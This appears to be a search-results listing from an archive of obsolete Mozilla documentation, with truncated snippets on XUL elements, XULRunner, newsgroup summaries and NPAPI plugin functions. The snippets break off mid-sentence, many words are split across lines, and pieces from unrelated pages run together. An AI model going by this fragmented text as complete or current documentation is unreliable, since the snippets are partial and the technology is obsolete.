]), /* nsicommandlinehandler */ handle : function clh_handle(cmdline) { try { // changeme: change "viewapp" to your command line flag that takes an argument var uristr = cmdline.handleflagwithparam("viewapp", false); if (uristr) { // convert uristr to an nsiuri var uri = cmdline.resolveuri(uristr); openwindow(chrome_uri, uri); cmdline.p
reventdefault = true; } } catch (e) { components.utils.reporterror("incorrect parameter passed to -viewapp on the command line."); } // changeme: change "myapp" to your command line flag (no argument) if (cmdline.handleflag("myapp", false)) { openwindow(chrome_uri, null); cmdline.p
reventdefault = true; } }, // changeme: change the help info as app...
Complete - Archive of obsolete content
notes: if you use a shortcut or launcher icon to start the application, then you can add the command line switch by editing the icon's properties. the application's user interface only switches language if you have the appropriate language pack installed. but this extension switches between english and french without needing any language pack. some versions of firefox etc. have a bug that p
revents this from working. to work around the bug, close the application, delete the file xul.mfl in its profile, then restart it with the command line switch. firefox etc. support specifying the language alone, without any region—for example, just: -uilocale fr seamonkey does not support this. themes a theme changes the appearance of the user interface, affecting fonts, colours, graphics, and s...
Tree Widget Changes - Archive of obsolete content
rmined -> nsitreeview.progress_undetermined (2) nsitreeview.progressnode -> nsitreeview.progress_none (3) as well, the drag and drop methods candropon and candropbeforeafter have been replaced with a single method candrop(idx,orientation) which handles both. it should return true if a drop is allowed on a row. checkbox columns tree columns now implement the checkbox type. p
reviously the value existed but was not implemented. now it is. you can create a checkbox column by setting the type attribute of a column to checkbox. <treecol type="checkbox"> you can then set or clear the checkbox for a particular cell in that column by setting the value attribute to true, or leaving out the attribute. note that it's the value attribute you use, not the label attribute. <treec...
Using Visual Studio as your XUL IDE - Archive of obsolete content
d there are still some problems for which i did not find a solution yet. 5.1 localization using dtd you will get validation errors in visual studio, if you are localizing your xul files. that has to do with the way mozilla implemented localization: < !doctype window system "chrome://loomo/locale/main.dtd"> visual studio doesn't recognize the chrome uri prefix, what will give you an error at the p
revious line ("the uri prefix is not recognized"). as vs doesn't know how the chrome protocol works it can't detect where the dtd file is really located and thus will give you errors whe
rever you use the entities that are declared in this file. 5.2 text preprocessor the mozilla build system includes a text preprocessor. as preprocessor directives are not valid xml, visual studio will mark them as err...
XUL Template Primer - Bindings - Archive of obsolete content
s a view for a xul outliner. xul template reference describes the simple xul template syntax in detail. notes 1. as of this writing, it is necessary to order <binding> elements carefully. specifically, if a binding depends on a variable in another binding, it must appear after the binding it depends on. for example, the sample in this document wouldn't work if the two <binding> elements were
reversed, because of the dependency on the ?addr variable. fortunately, this is the natural way one would write bindings, so in practice this should not be a burden. original document information author: chris waterson ...
Accessibility/XUL Accessibility Reference - Archive of obsolete content
tcell member observes preference preferences prefpane prefwindow resizer richlistbox richlistitem resizer rule scrollbar scrollbox scrollcorner separator template textnode titlebar toolbar toolbarbutton toolbargrippy toolbaritem toolbarpalette toolbarseparator toolbarset toolbarspacer toolbarspring toolbox tooltip treeseparator triple wizard wizardpage cases to
revisit: ...
XUL accessibility tool - Archive of obsolete content
ference. run checking tool on firefox, thunderbird and other apps looking for bugs and fixing them. improve tool along the way add checking tool to dom inspector or other popular xul debugging tools. merge with other xul checking tools -- this doesn't need to be a11y-specific. one problem is that mark finkle's xul validator tool uses a different engine. add the tool into the addons.mozilla.org
review process go through the most useful/popular extensions with tool and fix a11y issues add checker to tinderbox so that bugs are caught at checkin time some or all of this work could be done through grants, and a likely person to oversee the grant deliverables and milestones would be mark finkle. he has volunteered to take that on. ...
XUL Coding Style Guidelines - Archive of obsolete content
und sign instead of <!--<var>xxxxx</var>-->: # localization note entity name : content we recognize that translation is a subset of localization even though we've consistently referred to our notes as "localization note". files not to be localized? some files live in the tree but aren't really part of the build; they're just there as programming examples or a kind of source documentation. to p
revent them from being localized, you may insert a line of comment following the xml declaration as follows. <?xml version="1.0" encoding='utf-8'?> <!-- do not localize this file: [reason...] it isn't part of the build; --> when translators see this line, they won't bother to look at the rest of the file. references xul is discussed in depth in xul language spec and xul window language. xul local...
browser - Archive of obsolete content
ocuments are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and p
reventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to a...
caption - Archive of obsolete content
is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
checkbox - Archive of obsolete content
e to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
description - Archive of obsolete content
ent.getelementbyid('desc').textcontent = "this is a long section of dynamic message text that will word wrap"; attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
dialogheader - Archive of obsolete content
nly.xul"> <dialogheader title="my dialog" description="example dialog"/> <!-- other widgets --> </dialog> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
dropmarker - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] a dropmarker is a button with an arrow which will
reveal more details when pressed. a dropmarker is not intended to be used as a separate element, but as part of another element. for instance the menulist and the popup type of datepicker use a dropmarker, that when pressed, will
reveal a popup menu. examples properties accessibletype attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordina...
iframe - Archive of obsolete content
ocuments are of chrome type, unless the container element (one of iframe, browser or editor) has one of the special type attribute values (the common ones are content, content-targetable and content-primary) indicating that the subdocument is of content type. this boundary has a number of special effects, such as making window.top == window (unless the browser is added to a chrome document), and p
reventing documents from inheriting the principal of the parent document. the type attribute on all frames in content documents is ignored; subdocuments of content documents are always content documents. warning: the type attribute must be set before the element is inserted into the document. content a browser for content. the content that is loaded inside the browser is not allowed to a...
label - Archive of obsolete content
f the element with which the label is associated. when the user clicks on the label, the associated element is given focus. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
listbox - Archive of obsolete content
e row number of the item. the item index is zero-based, thus this example will return the first selected item: getselecteditem(0). insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. invertselection() return type: no return value
reverses the selected state of all items. selected items become deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is als...
listcell - Archive of obsolete content
d, image, label, type properties disabled style classes listcell-iconic, examples (example needed) attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
listitem - Archive of obsolete content
ute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
menu - Archive of obsolete content
type: boolean if true, events are passed to children of the element. otherwise, events are passed to the element only. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
menuitem - Archive of obsolete content
ingle the menu the item is contained within is closed, but the parent menus remain open. none no menus are closed. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
menulist - Archive of obsolete content
is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
menuseparator - Archive of obsolete content
the element only. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
notificationbox - Archive of obsolete content
on, and will be created automatically for each item. each notification will slide in and out as needed. this element is used, for example, to implement the yellow information bar in various firefox windows. the notification box is a vertical box which may have children. the notifications appear at the top of the box. the notifications may be placed at the bottom by setting the dir attribute to
reverse. finding the current notification box within a firefox extension, you can retrieve the current notification box for a specific tab by calling the global function getnotificationbox(): notifybox = chromewin.getnotificationbox(notifywindow) notifybox = getnotificationbox(notifywindow) // applies to current context's window object here, chromewin is the xul window (usually just window), and...
prefwindow - Archive of obsolete content
titlebar and window contents. this affects only on mac os x. lastselected type: string set this to the id of the last selected pane. it will be opened by default the next time the preferences dialog is opened. onbeforeaccept type: script code the code in this attribute is called when the ok button is pressed or the acceptdialog method is called. returning false doesn't currently p
revent the dialog from closing, but does p
revent saving (bug 474527). ondialogaccept type: script code the code in this attribute is called when the accept button is pressed, or when the acceptdialog method is called. if the handler returns true, the dialog will indeed go away, but if it returns false it will not. ondialogcancel type: script code the code in this attribute is called...
radio - Archive of obsolete content
r the element. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
radiogroup - Archive of obsolete content
creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. checkadjacentelement( dir ) return type: no return value deselects the currently selected radio button in the group and selects the one adjacent to it. if the argument dir is true, the next radio button is selected. if it is false, the p
revious radio button is selected. getindexofitem( item ) return type: integer returns the zero-based position of the specified item. items are numbered starting at the first item displayed in the list. getitematindex( index ) return type: element returns the element that is at the specified index. insertitemat( index, label, value ) return type: element this method cr...
richlistbox - Archive of obsolete content
row number of the item. the item index is zero-based, thus this example will return the first selected item: getselecteditem(0). insertitemat( index, label, value ) return type: element this method creates a new item and inserts it at the specified position. you may optionally set a value. the new item element is returned. invertselection() return type: no return value
reverses the selected state of all items. selected items become deselected, and deselected items become selected. movebyoffset( offset , isselecting, isselectingrange) return type: no return value if offset is positive, adjusts the focused item forward by that many items. if offset is negative, adjusts the focused item backward by that many items. if isselecting is true, then the selection is al...
scale - Archive of obsolete content
vertical"/> attributes dir type: one of the values below the direction in which the child elements of the element are placed. normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales). for other elements, they are placed right to left or bottom to top. this is
reverse of the order in which they appear in the xul code. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element i...
separator - Archive of obsolete content
but is just a small space. it is functionally equivalent to a spacer except it defaults to a small size (usually 1.5 ems). attributes orient style classes groove, groove-thin, thin examples <separator class="groove-thin"/> attributes orient type: one of the values below used to specify whether the separator is a horizontal or vertical separator. note that the values are the
reverse of what seems more likely. horizontal the separator separates vertically placed elements. vertical the separator separates horizontally placed elements. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hi...
stack - Archive of obsolete content
all elements are displayed at once. child elements may also be placed at absolute positions within the stack. the top, right, bottom, and left attributes on a child of the stack specify the position of that element. ...
<statusbarpanel> - Archive of obsolete content
flex="1"/> <progressmeter mode="determined" value="82"/> <statusbarpanel label="right panel"/> </statusbar> attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
tab - Archive of obsolete content
t manually. this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
tabbox - Archive of obsolete content
will occur as long as any element in the window is focused. document keyboard navigation is captured at the document level. tab navigation will occur as long as any element in the document is focused. handlectrltab type: boolean if set to true or omitted, the tabbox will switch to the next tab when the control and tab keys are pressed. if the shift key is also held down, the p
revious tab will be displayed. if this attribute is set to false, these keys do not navigate between tabs. properties accessibletype type: integer a value indicating the type of accessibility object for the element. eventnode type: eventtarget indicates the node where keyboard navigation events listener is set up. the initial value for this property is determined b...
tabs - Archive of obsolete content
e(), removeattributens(), removechild(), removeeventlistener(), replacechild(), setattribute(), setattributenode(), setattributenodens(), setattributens(), setuserdata advanceselectedtab( dir, wrap ) return type: no return value if the argument dir is set to 1, the currently selected tab changes to the next tab. if the argument dir is set to -1, the currently selected tab changes to the p
revious tab. if the wrap argument is true, the adjustment will wrap around when the first or last tab is reached. appenditem( label, value ) return type: element creates a new item and adds it to the end of the existing list of items. you may optionally set a value. the function returns the newly created element. getindexofitem( item ) return type: integer returns the zero...
treecol - Archive of obsolete content
le to your xul file. reload the page to see the checkbox. if you want, you can also style the tree using css. attributes crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ellipsis will be used in place of the cropped text. if the box direction is
reversed, the cropping is
reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in right-to-left locales. left the text will b...
where - Archive of obsolete content
en making comparisons. otherwise, the default value is false, to indicate that the value should match with the same case. multiple type: boolean set to true to indicate that the value contains multiple values separated by commas. any of the values may match. otherwise, the entire value string is compared. negate type: boolean set to true to indicate that the comparison should be
reversed. the where clause matches if the condition is false, and does not match if the condition is true. rel type: one of the values below the type of comparison to perform. equals the subject and value must match exactly. less the numeric value of the subject must be less than the value greater the numeric value of the subject must be greater than the value before the ...
window - Archive of obsolete content
d causes the toolbars to be hidden, with only the tab strip (and, if currently displayed, the add-on bar) left showing. note: this has no effect if the tabs on top preference is turned off. disablefastfindtype: booleanput disablefastfind="true" on the root element of a xul document, which is intended to be loaded in a tab, to disable the find bar for the tab with this document. this is used to p
revent the find bar from being displayed when it's not supported by the content (such as in the add-ons manager tab). drawintitlebar type: boolean if this attribute is true, the top of the window's content area will begin at the top edge of the title bar, instead of below the title bar. this allows the window to draw in the title bar. this is supported only from window elements, and is ignored on...
wizard - Archive of obsolete content
the user cannot navigate to the next page. set this property to true to indicate that the user can go to the next page. set to false to disallow moving to the next page. this has the effect of enabling or disabling the next button, or, on the last page of the wizard, the finish button. canrewind type: boolean this property is set to true if the user can press the back button to go to the p
revious page. if this property is false, the user cannot navigate to the p
revious page. set this property to true to indicate that the user can go back a page. set to false to disallow moving to the p
revious page. this has the effect of enabling or disabling the back button. currentpage type: wizardpage element this property returns the wizardpage element that is currently displayed. you can ...
Creating XULRunner Apps with the Mozilla Build System - Archive of obsolete content
(following ac_add_app_options to that of your app. do the same with the name that follows --enable-application. you shouldn't have to change the value of --with-libxul-sdk if you are building your own xulrunner. you can also add other options to this section if you want them to apply to your app only. building your application if you decided that you needed a custom-built xulrunner and read the p
revious section then you're way ahead of the game. you simply need to place your application's root directory directly under the mozilla root on your disk. and what's more, you can skip the following section, partially compensating you for all that extra work you put in just now. see, it all balances out in the end! building with a prebuilt sdk once you've downloaded the xulrunner sdk, you'll need a ...
Debugging a XULRunner Application - Archive of obsolete content
created and restart the application. if you would like the console messages to appear in the console you used to launch the application, you can use the gecko console redirector. precompiled binaries are available in the zipped archive https://github.com/matthewkastor/redirector/archive/master.zip under redirector-master\gecko\console redirector\bin\release copy all the dll's and the exe to whe
rever you want. then run console redirector.exe /? javascript console to enable the js console, start xulrunner with the -jsconsole argument. note: if you are not using the stub executable to launch the application, the -jsconsole argument is after the application.ini argument: e.g. xulrunner.exe /path/to/application.ini -jsconsole by default the js console only shows errors from web content. to...
XULRunner FAQ - Archive of obsolete content
that has now stuck. when will firefox be based on xulrunner? there is no intention to do this for official release versions of firefox. it is already possible to run firefox on xulrunner now though and certain linux distributions already do this. why is installing xulrunner so painful? why isn't there a nice installer? because nobody has written that code yet! this is a developer p
review release: additional features for installing and deploying xulrunner and applications based on xulrunner will be available in future releases. i'm writing a xul application, how can i deploy that application to my users? right now mozilla recommends that xulrunner should be deployed privately with each application. see deploying xulrunner 1.8 for more information. where is the sourc...
MacFAQ - Archive of obsolete content
in your .mozconfig for custom builds of xulrunner, add --enable-libxul. if you've completed a xulrunner build, you should copy or symlink the dist/xul.framework directory to /library/frameworks. note that in order to copy the framework while keeping the relative soft-links in the framework, do something like: % ( cd dist ; gnutar cf - xul.framework | ( cd /library/frameworks ; gnutar xf - )) installing your application your application must be installed as a xulrunner app before you can open it. ...
XULRunner/Old Releases - Archive of obsolete content
the stable 1.9 branch. community contributed builds of xulrunner 1.8.1.3 these builds are contributed by the eclipse atf community and are intended for embedding. the windows and linux builds will run normal xulrunner applications, but the mac build uses cocoa widgets and will not run xulrunner applications. xulrunner 1.8.0.4 this is the last official stable developer p
review release from the 1.8.0 branch. it has known security holes and should not be used in applications that deal with public web content. ...
XUL Explorer - Archive of obsolete content
xul explorer is a xulrunner application that provides an easy way to experiment with xul. it’s a simple editor that can p
review xul inline or in a separate popup window. it has a list of code snippets (small fragments of xul or javascript) that can be quickly inserted into the editor. the xul can be loaded from and saved to files. a xul validator and the error console are both available to help debug problems. the help menu provides access to xul information on mdc. there is even simple “keyword” help lookup for xul elements. roadmap features: the p
review pane can be toggled with the editor. p
reviewing in a popup window is still available. option to automatically update the p
review as the editor changes. indicator in the statusbar shows errors. double-click to display err...
application/http-index-format specification - Archive of obsolete content
e file. this data should be parsed as html. 200 defines the field names for the 201 file index code. a valid 200 line consists of one or more white space separated tokens that describe the name or purpose of the associated column of data. tokens may not contain spaces. any illegal characters must be escaped via the url escaping syntax defined by rfc 1738. note that multiple 200 lines override p
revious 200 lines. 201 data whose definition stems from a prior 200 line. a valid 201 line consists of one or more white space separated tokens that represent data described by a p
revious 200 line. tokens may be quoted or unquoted. unquoted tokens may not contain white space. quoted tokens are terminated by the next quote but may not contain carrage returns or new lines. any illegal characters mus...
mozilla.dev.platform FAQ - Archive of obsolete content
directory from /library/frameworks, my running my app fails silently. it works fine when the xul.framework is installed in /library/frameworks. any suggestions? " a: make sure the app can find the framework or you can use the packages of the firefox release repackager which uses the embedded framework successfully. please make sure you're using 1.8.0.4 or later (not 1.8.0.1, which had a bug that p
revented this from working properly). q: when using xul elements <browser/> and <tabbrowser/> the javascript popup windows don't work out of the box, what needs to be implement? a: have the browser.chromeurl preference - this should be a xul document containing a <browser type="content-primary"> element in which the popup window's content should get loaded. visual studio express 2005 q: when i tr...
nsIContentPolicy - Archive of obsolete content
#include "_path_to_sdk/include/content/nsicontentpolicy.h" class myclass: public nsisupports, public nsicontentpolicy { ... ns_decl_nsicontentpolicy ... } // and this into your implementation file ns_impl_isupportsn(myclass, nsisupports, nsicontentpolicy, ...) note: before you can recieve notifications, you must register your plugin with nsicategorymanager. see example below. char* p
revious = nsnull; nscomptr<nsicategorymanager> catman; servman->getservicebycontractid(ns_categorymanager_contractid, ns_get_iid(nsicategorymanager), getter_addrefs(catman)); rv = catman->addcategoryentry("content-policy", component_classname, component_contractid, pr_true, pr_true, &p
revious); javascript developers can also implement an xpcom component that extends nsicontentpolicy. ...
reftest opportunities files - Archive of obsolete content
omments here would be appreciated. if you have questions, please post to the mozilla.dev.quality newsgroup on news.mozilla.org (see at google groups). layout bugs that needs a reftest many of the bugzilla bugs in the core product, layout components with the in-testsuite? flag needs one or more reftests. if you create a reftest for any of these bugs please attach the reftest to the bug and ask for
review from the assignee (or anyone else that seems appropriate judging from comments in the bug). note that bugs with the testcase keyword already have one or more testcases attached to the bug that can be used when creating the reftest. tests from dbaron http://dbaron.org/css/test/cachetest http://dbaron.org/css/test/lenunit http://dbaron.org/css/test/implied http://dbaron.org/css/test/formelem ht...
2006-11-10 - Archive of obsolete content
ussions firefox: an open source accessibility success story aaron leventhal of ibm recently published a new article praising firefox accessibility. the article goes into the history of accessibility in firefox, details ibm's involvement and addresses some ajax accessibility concerns. the article closes with a glimpse at the future of firefox accessibility. read more... access keys in firefox 2 p
revious versions of firefox used the <alt> key as a modifier. this has been changed to alt+shift for content accesskeys due to the "conflicts with ui mnemonics" according to aaron leventhal. this is reported to have broken accesskeys using numeric values. see bug 349716. currently there is a work-around extension available at bug 357101 to temporarily solve this problem. accessibility in chatzilla ...
2006-10-20 - Archive of obsolete content
to associate .rdp files with microsoft remote desktop client so that the correct application opens the files automatically. method shouldload in "content-policy" category problem ? a student learning xpcom is having issues with the method shouldload in the interface nslcontentpolicy. when the method is executed firefox crashes. as of yet there are no responses. ie7 rss reader better - say
reviewers a discussion
revolving around the quality of rss readers in ie7, firefox and other assorted browsers. also a debate about which browser is "beating" which to a lesser extent further in the discussion. how to create firefox extension (chrome) to add images next to urls ? question regarding how to make a firefox extension that would insert an image next to all links in the loaded web p...
2006-12-01 - Archive of obsolete content
firefox is a major problem a major debate surrounding the use of xml for customizing rss feeds. devs say this is the way its supposed to be, others say its a bug! the debate continues. discussion of support for modal windows within firefox 2.0 a lengthy post regarding the re-implementation of modal windows into firefox. basic feature that i think is a must in any web broswer a discussion
revolving around the idea of having firefox automatically convert mistaken non-english characters to english so that web addresses will be completed. mozstorage documentation up a
revisted discussion surround the mozstorage documentation. rich results for searches a proposal to implement "rich results", a set of registered sites that would provide information as it relates to a user's search.
Extentsions FAQ - Archive of obsolete content
le extension already has support for switching gmail to https (and calendar possibly, too). does anyone know how write a bounce email extension? are you aware of the "mailredirect" extension? it allows bouncing to arbitrary addresses. it seems what you want is a one button access to that extension with a prefilled bounce address, right? could someone make an extension for thunderbird that p
review upcomeing events and number of new messages? in our company i write this extension that connects to our groupware server (http). what server should souch extension work gainst? did you mean exchange? how to attach information using the stringproperties of an imap message with out changing the properties? string properties are implemented as imap user flags. however not all servers suppor...
2006-10-27 - Archive of obsolete content
update check failing in firefox 2.0 if add-on type is 8 testing a custom update.rdf file for a langpack using the official version of firefox 2.0 rc 3. discussions developing a spelling dictionary developing a spelling dictionary. alternative german locale while the alternative locale is active, the auto update of firefox stops working. ...
2006-11-3 - Archive of obsolete content
possibly in the next days or week. community is advised to perform tests on both builds to ensure they work flawlessly. 1.0.6 build is located here, and 1.1 beta build is located here. discussions last check-ins on sun-calendar-event-dialog.* files last check-ins on sun-calendar-event-dialog.* files from 50 to 100 locales how to get from the 50 locales and releasing 40 to a hundred.
revisiting mozillatranslator bugs in bugzilla
revisiting mozillatranslator bugs in bugzilla dictionary packages there are some dictionaries at http://dictionaries.mozdev.org/installation.html which are not at https://addons.mozilla.org/en/dictionaries. localization of amo and some other pages of mozilla.com suggestion on localizing popular add-ons as well as web pages at mozilla.com. meet...
2006-10-20 - Archive of obsolete content
ed install directory needs to be different than those noted in the release notes. this is a xulrunner 1.8.0.4 application. benjamin smedberg would like to know what paths were used. started wed, oct 18 2006 9:38 am - a xulrunner developer, frank, discusses his desire to make xul/browser based applications. he wants to be able to build applications that will run inside the browser. nickolay ponoma
rev, benjamin smedberg, axel hecht clarify some misconceptions about front-end and back-end programming with xulrunner, including the difficulty of writing the backends in c++ (since that would require a recompilation on every platform frank wanted to support). meetings no meetings this week ...
2006-11-17 - Archive of obsolete content
rowser is loaded for the sole purpose of running a given website. boaz invites your comments xulrunner 1.8.0.4 is running a kiosk-type application on linux with 512mb, and there is the appearance of a significant memory leak. win2xul asks for any quick pointers, opinions, experience, suggestions or ideas on where xulrunner might leak memory bug 319654 was fixed on trunk recently. ...
2006-10-13 - Archive of obsolete content
summary: mozilla.dev.security - october 7, 2006 to october 13, 2006 return to mozilla-dev-security announcements none during this week. discussions extended privileges prompt mitchi asked if it was possible to
revoke the checkbox auto approving some scripts. boris zbarsky replyied, stating that you have to edit the prefs.js file. meetings none during this week. ...
2006-11-10 - Archive of obsolete content
ouncements none during this week. discussions why now? (was: extended validation certificates) a continuation of last week's discussion on extended validation certificates, the there post was getting unruly at 147 replies. good ideas a splinter off of the extended validation certificates discussion going over whether or not fraudulent websites may get these certificates and if so how to p
revent this from happening. meetings none during this week. ...
2006-10-20 - Archive of obsolete content
summary: mozilla.dev.tech.xul - oct 14-oct 20, 2006 return to mozilla-dev-tech-xul announcements none during this week. discussions october 16, 2006, 5:10pm - david marteau notes that using "persist" on templatized content p
revents from restoring values for the persistent attributes. neil notes that the format of localstore has changed from p
revious versions and that "persist" is not functioning properly using the new format. this is an unexpected result and david has said he will post a bug. the bug number has not been posted to the newsgroup and searching in bugzilla was unsuccessful. meetings none during this week. ...
NPAPI plugin developer guide - Archive of obsolete content
display natively. for example, the adobe flash plug-in is used to access flash content (including videos and certain interactive applications), and the quicktime and realplayer plugins are used to play special format videos in a web page. important: plugins are now a legacy technology. they are not available on most mobile devices. mozilla encourages website developers to avoid using plugins whe
rever possible. if there are plugin features which are not available in the web platform, we encourage developers to post their use cases to mozilla.dev.platform project list, so that mozilla can prioritize web platform work to make those use cases possible. plugins are written using npapi, the cross-browser api for plugins. the main source of documentation for npapi is the npapi plugin api referen...
Monitoring plugins - Archive of obsolete content
var observerservice = components.classes["@mozilla.org/observer-service;1"] .getservice(components.interfaces.nsiobserverservice); observerservice.addobserver(this, "experimental-notify-plugin-call", false); this.registered = true; } }, //unregisters from the observer se...
NPEmbedPrint - Archive of obsolete content
npwindow window; void* platformprint; /* platform-specific */ } npembedprint; fields the data structure has the following fields: window the npwindow the plug-in should use for printing. platformprint additional platform-specific printing information. mac os: thprint unix: pointer to a npprintcallbackstruct. description the npp_print function passes a pointer to an npprint object (p
reviously allocated by the browser) to the plug-in. the npembedprint structure is used when the mode field of npprint is set to np_embed. unix the plug-in location and size in the npwindow are in page coordinates (720/ inch), but the printer requires point coordinates (72/inch). see also npfullprint, np_port, npp_print, npprint, npprintcallbackstruct ...
NPFullPrint - Archive of obsolete content
ed plug-in). printone not currently in use. should always be false. true: print single copy of page to the default printer. false: display print dialogs so user can choose printer, other options. platformprint platform-specific printing information. mac os: thprint ms windows: printer's device context description the npp_print function passes the plug-in a pointer to an npprint object (p
reviously allocated by the browser). the npfullprint structure is used when the mode field of npprint is set to np_full. the pluginprinted field of this structure determines whether the plug-in prints in full-page mode or not. if you want the plug-in to take complete control of the printing process, it should print the full page and set the field pluginprinted to true before returning. if you want an...
NPN_MemFree - Archive of obsolete content
« gecko plugin api reference « plug-in side plug-in api summary deallocates a block of allocated memory. syntax #include <npapi.h> void npn_memfree (void* ptr); parameters the function has the following parameters: ptr block of memory p
reviously allocated using npn_memalloc. description npn_memfree deallocates a block of memory that was allocated using npn_memalloc only. npn_memfree does not free memory allocated by any other means. see also npn_memalloc ...
NPN_PostURL - Archive of obsolete content
t a file. values: true: post the file whose path is specified in buf, then delete the file. false: post the raw data in buf. returns if successful, the function returns nperr_no_error. if unsuccessful, the plug-in is not loaded and the function returns an error code. for possible values, see error codes. description npn_posturl works similarly to npn_geturl, but in
